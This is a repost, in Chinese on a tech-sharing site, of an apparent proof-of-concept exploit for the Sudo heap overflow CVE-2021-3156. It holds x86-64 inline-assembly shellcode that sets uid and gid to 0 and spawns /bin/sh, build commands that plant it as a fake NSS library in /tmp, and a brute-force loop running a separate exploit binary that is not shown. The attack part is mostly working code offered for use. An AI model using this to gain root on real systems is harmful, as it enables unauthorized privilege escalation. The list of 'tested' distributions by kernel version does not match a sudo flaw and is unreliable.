ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2021-3156:Sudo 堆缓冲区溢出漏洞 POC

2021-01-28 14:35:03  阅读:562  来源: 互联网

标签:kernel amd64 generic Sudo 4.19 2021 CVE rdi movq


漏洞详情

CVE-2021-3156: 缓冲区溢出漏洞

在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

用户可以使用如下方法进行自查:
以非root用户登录系统,并使用命令sudoedit -s /

  • 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
  • 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

漏洞测试成功的Linux发行版:

Ubuntu 16.04.5 kernel 4.15.0-29-generic
Ubuntu 18.04.1 kernel 4.15.0-20-generic
Ubuntu 19.04 kernel 5.0.0-15-generic
Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
Linux Mint 19 kernel 4.15.0-20-generic
Xubuntu 16.04.4 kernel 4.13.0-36-generic
ElementaryOS 0.4.1 4.8.0-52-generic
Backbox 6 kernel 4.18.0-21-generic
Parrot OS 4.5.1 kernel 4.19.0-
parrot1-13t-amd64
Kali kernel 4.19.0-kali5-amd64
Redcore 1806 (LXQT) kernel 4.16.16-
redcoreMX 18.3 kernel 4.19.37-2~mx17+1
RHEL 8.0 kernel 4.18.0-80.el8.x86_64
Debian 9.4.0 kernel 4.9.0-6-amd64
Debian 10.0.0 kernel 4.19.0-5-amd64
Devuan 2.0.0 kernel 4.9.0-6-amd64
SparkyLinux 5.8 kernel 4.19.0-5-amd64
Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
Manjaro 18.0.3 kernel 4.19.23-1-
MANJAROMageia 6 kernel 4.9.35-desktop-1.mga6
Antergos 18.7 kernel 4.17.6-1-ARCH

POC

static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}

上面的代码保存后为la.c执行


cd /tmp
mkdir libnss_X
gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

标签:kernel,amd64,generic,Sudo,4.19,2021,CVE,rdi,movq
来源: https://www.cnblogs.com/potatsoSec/p/14339620.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有